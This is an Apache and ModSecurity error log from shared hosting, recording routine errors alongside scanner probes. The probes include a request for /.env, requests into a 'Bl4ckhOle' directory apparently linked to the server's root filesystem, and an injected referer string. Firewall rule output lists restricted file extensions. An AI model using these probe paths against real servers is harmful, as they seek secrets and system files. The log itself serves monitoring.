[Fri Jul 17 09:48:29.727131 2026] [core:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 57.141.18.13:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory61/subsystem/devices/memory89/node0/memory130/subsystem/drivers_probe
[Fri Jul 17 09:48:31.669156 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:59964] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:34.527321 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:60140] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:35.336537 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtG2uF39UwWB2KWdbTTgAAAA8"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:48:35.336569 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtG2uF39UwWB2KWdbTTgAAAA8"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:48:36.376161 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:36.468894 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:36.998618 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:60274] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:37.116868 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:37.982537 2026] [security2:error] [pid 2050582:tid 2050582] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtHXXJZgUJ1jsEHj0scwAAABc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:48:37.982568 2026] [security2:error] [pid 2050582:tid 2050582] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtHXXJZgUJ1jsEHj0scwAAABc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:48:38.007867 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:60328] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:39.047174 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:39.210324 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:39.480236 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:39.814573 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:60442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:40.131841 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:40.153254 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:40.177794 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:60466] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:40.507146 2026] [security2:error] [pid 2018768:tid 2018768] [client 77.83.39.119:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtIFCBpfuYyhJ140vdCgAAAB4"]
[Fri Jul 17 09:48:40.507271 2026] [security2:error] [pid 2018768:tid 2018768] [client 77.83.39.119:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtIFCBpfuYyhJ140vdCgAAAB4"]
[Fri Jul 17 09:48:40.507371 2026] [security2:error] [pid 2018768:tid 2018768] [client 77.83.39.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtIFCBpfuYyhJ140vdCgAAAB4"]
[Fri Jul 17 09:48:40.507621 2026] [security2:error] [pid 2018768:tid 2018768] [client 77.83.39.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtIFCBpfuYyhJ140vdCgAAAB4"]
[Fri Jul 17 09:48:40.507917 2026] [security2:error] [pid 2018768:tid 2018768] [client 77.83.39.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtIFCBpfuYyhJ140vdCgAAAB4"]
[Fri Jul 17 09:48:40.604464 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:40.631283 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:41.353271 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 57.141.18.81:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory59/subsystem/devices/memory106/node0/cpu1/crash_notes_size
[Fri Jul 17 09:48:41.863223 2026] [security2:error] [pid 1993671:tid 1993671] [client 124.43.181.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almtIQ5GPQ6hs4VrfMpMmwAAAAY"]
[Fri Jul 17 09:48:41.863262 2026] [security2:error] [pid 1993671:tid 1993671] [client 124.43.181.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almtIQ5GPQ6hs4VrfMpMmwAAAAY"]
[Fri Jul 17 09:48:42.736916 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtIgRRrtuZqNDDSqW6NwAAABo"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:48:42.736947 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtIgRRrtuZqNDDSqW6NwAAABo"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:48:43.079835 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:48988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:43.706325 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:49016] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:44.779387 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:44.822423 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:44.823663 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:45.009991 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:46.264527 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 47.82.13.21:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS0/device/subsystem/uevent
[Fri Jul 17 09:48:46.306751 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:49120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:46.354753 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:46.764142 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:46.775359 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:46.923417 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:47.613317 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtJ4e39YUk0SgV8AVEgQAAABE"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:48:47.613359 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtJ4e39YUk0SgV8AVEgQAAABE"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:48:49.095731 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtKZBVIrrUwtEhdafbGAAAAAU"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:48:49.095776 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtKZBVIrrUwtEhdafbGAAAAAU"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:48:50.326052 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:50.698154 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:50.719569 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:50.991067 2026] [security2:error] [pid 2028246:tid 2028246] [client 47.82.15.122:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdo_mysql.ini"] [unique_id "almtKjsMb3am0TgkjETk8wAAAAo"]
[Fri Jul 17 09:48:50.991567 2026] [security2:error] [pid 2028246:tid 2028246] [client 47.82.15.122:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdo_mysql.ini"] [unique_id "almtKjsMb3am0TgkjETk8wAAAAo"]
[Fri Jul 17 09:48:51.020190 2026] [security2:error] [pid 2028246:tid 2028246] [client 47.82.15.122:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdo_mysql.ini"] [unique_id "almtKjsMb3am0TgkjETk8wAAAAo"]
[Fri Jul 17 09:48:51.332409 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:51.389326 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:51.547037 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:57262] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:51.605093 2026] [security2:error] [pid 1993572:tid 1993572] [client 47.79.10.53:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdo_snowflake.ini"] [unique_id "almtK4l9vhFBGA6D8l-EVAAAAAw"]
[Fri Jul 17 09:48:51.605905 2026] [security2:error] [pid 1993572:tid 1993572] [client 47.79.10.53:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdo_snowflake.ini"] [unique_id "almtK4l9vhFBGA6D8l-EVAAAAAw"]
[Fri Jul 17 09:48:51.617724 2026] [security2:error] [pid 1993572:tid 1993572] [client 47.79.10.53:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/pdo_snowflake.ini"] [unique_id "almtK4l9vhFBGA6D8l-EVAAAAAw"]
[Fri Jul 17 09:48:51.717878 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:52.678926 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:56.481002 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:57.770004 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:57626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:57.992980 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.123:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/node0/cpu4/subsystem/devices/cpu3/subsystem/drivers/processor/cpu0/node0/power/"] [unique_id "almtMZBVIrrUwtEhdafbHgAAAAU"]
[Fri Jul 17 09:48:57.993028 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.123:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory103/node0/cpu4/subsystem/devices/cpu3/subsystem/drivers/processor/cpu0/node0/power/"] [unique_id "almtMZBVIrrUwtEhdafbHgAAAAU"]
[Fri Jul 17 09:48:58.259196 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:57658] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:59.221811 2026] [security2:error] [pid 2018768:tid 2018768] [client 34.74.242.206:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.bostonlanka.com"] [uri "/robots.txt"] [unique_id "almtM1CBpfuYyhJ140vdFAAAAB4"]
